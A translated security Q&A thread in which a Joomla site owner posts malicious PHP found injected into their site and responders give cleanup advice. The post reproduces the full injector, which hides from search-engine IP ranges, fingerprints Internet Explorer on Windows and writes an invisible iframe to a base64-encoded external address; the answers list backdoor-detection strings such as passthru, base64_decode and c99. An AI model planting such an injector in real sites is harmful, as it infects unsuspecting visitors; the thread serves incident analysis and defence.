Encontré un Javascript malicioso, ¿cómo llegó allí?

4

Encontré algunos javascript maliciosos en un sitio de Joomla que notamos que ha regresado después de ser eliminado hace una semana. También notó que www.cssstickyfooter.com está infectado por el mismo código. Si tienes curiosidad, aquí está todo abajo.

    function net_match ( $network , $ip ) {
    $ip_arr = explode ( '/' , $network );
    $network_long = ip2long ( $ip_arr [ 0 ]);
    $x = ip2long ( $ip_arr [ 1 ]);
    $mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
    $ip_long = ip2long ( $ip );
    return ( $ip_long & $mask ) == ( $network_long & $mask );
    }

    function net()
    {
    $ip=$_SERVER['REMOTE_ADDR'];

    if(
    net_match('64.233.160.0/19',$ip)==0 &&
    net_match('66.102.0.0/20',$ip)==0 &&
    net_match('66.249.64.0/19',$ip)==0 &&
    net_match('72.14.192.0/18',$ip)==0 &&
    net_match('74.125.0.0/16',$ip)==0 &&
    net_match('89.207.224.0/24',$ip)==0 &&
    net_match('193.142.125.0/24',$ip)==0 &&
    net_match('194.110.194.0/24',$ip)==0 &&
    net_match('209.85.128.0/17',$ip)==0 &&
    net_match('216.239.32.0/19',$ip)==0 &&
    net_match('128.111.0.0/16',$ip)==0 &&
    net_match('67.217.0.0/16',$ip)==0 &&
    net_match('188.93.0.0/16',$ip)==0
    )
    return true;
    }

    function detect_os() {
    global $os;
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    if(strpos($user_agent, "Windows") !== false) $os = 'windows';
    }detect_os();


    function detect_brows() {
    global $OOOOO0000, $OOOOOO000;
    $user_agent = $_SERVER["HTTP_USER_AGENT"];
    if (preg_match("/MSIE 6.0/", $user_agent) OR
    preg_match("/MSIE 7.0/", $user_agent) OR
    preg_match("/MSIE 8.0/", $user_agent)
    ) $OOOOOO000 = "MSIE";
    }detect_brows();

    $IP = $_SERVER['REMOTE_ADDR'].".log";

    function _log()
    { global $IP;
    touch ("/tmp/impacto/{$IP}");
    }
    @mkdir('/tmp/impacto');
    function _check()
    {
    global $IP;
    if(!file_exists("/tmp/impacto/{$IP}")) return true;
    }
    $dfjgkbl=base64_decode('aHR0cDovLzEyOS4xMjEuOTguMjkvSG9tZS9pbmRleC5waHA=');
    if(_check())
    {
    if(net())
    {
    if($os)
    {
    if($OOOOOO000 == "MSIE")
    {
    echo 'document.write(\'<iframe frameborder=0 src="'.$dfjgkbl.'" width=1 height=1 scrolling=no></iframe>\');';

    _log();

    }}}}

Observándolo, parece comprobar que el visitante está usando IE y agrega un iframe invisible a la página, lo que somete al usuario a todo tipo de desagradables.

¿Cómo supones que llegó allí y cómo podemos evitar que se vuelva a insertar?

    
pregunta Hung-Su 03.06.2011 - 05:29
fuente

2 respuestas

6

Si tiene acceso a los registros de acceso y los registros de ftp, analícelos. En los registros de acceso, si ve una línea larga (desplácese hacia la derecha, luego desplácese hacia abajo) para ver si esa línea está devolviendo un código de respuesta que no es 404. Luego vea si esa línea tiene algunos de los siguientes:

../../../../ base64_decode

Si tiene una línea en el registro de acceso que devuelve una respuesta 200 y tiene una de las cadenas anteriores, vea a qué archivo se dirige esa línea. Puede ser que sea el archivo que los hackers están explotando para infectar su sitio web.

En los sitios basados en Joomla, hay muchos complementos desactualizados. Puede verificar todos sus complementos en la lista de extensiones vulnerables de Joomla:

enlace

Luego, verifique que también esté en 1.5.23 si está en la versión 1.5. De lo contrario, si su sitio se basa en Joomla 1.6, verifique que esté en 1.6.3.

Si tiene los registros de FTP, escanéelos para ver qué se ha cargado en su sitio. Puede haber un archivo de puerta trasera en su sitio.

Analizar todos los archivos en busca de cualquier archivo de Perl (.pl) Escanea todos los archivos .php para:

passthru sistema base64_decode edoced_46esab (arriba invertido) cmd getenv gzinflate tiras adhesivas exec r57 c99 c100 exista de función

Esto te ayudará a comenzar. Si encuentra estas cadenas en un archivo .php, debe examinar de cerca el archivo para ver si tiene las "cosas" de Joomla en la parte superior del archivo. Si no, puede ser una puerta trasera.

Por lo tanto, un escenario probable es este:

  1. El sitio no se actualizó inmediatamente o hay un complemento vulnerable.
  2. Los piratas informáticos encontraron el sitio y cargaron un script de shell de puerta trasera, o encontraron una vulnerabilidad en una extensión y les permite enviar una cadena a un componente y esa cadena contiene código para infectar automáticamente el sitio.
  3. Sigues limpiando el código, pero sigue volviendo

No detendrás esto hasta que descubras cómo entraron los hackers originalmente. Mucha gente dice limpiar el sitio de todos los archivos y volver a cargar. Sin embargo, si vuelve a cargar el mismo componente / extensión / complemento vulnerable, los hackers volverán.

    
respondido por el Thomas J. Raef 03.06.2011 - 12:13
fuente
2

Cómo llegó allí:

  • El sitio o servidor puede ser vulnerable a una vulnerabilidad sin parchear.

Cómo evitar que vuelva a aparecer:

  • Parche el servidor web y el software de CMS
  • Es posible que pueda comunicarse con el       abuso @ dirección listada para el       IP codificada referenciada en el JS.

Es un poco difícil decir más sin más detalles sobre el medio ambiente. Sería cauteloso, ya que es posible que el anfitrión también se haya visto comprometido de otra manera.

    
respondido por el lew 03.06.2011 - 08:55
fuente

Lea otras preguntas en las etiquetas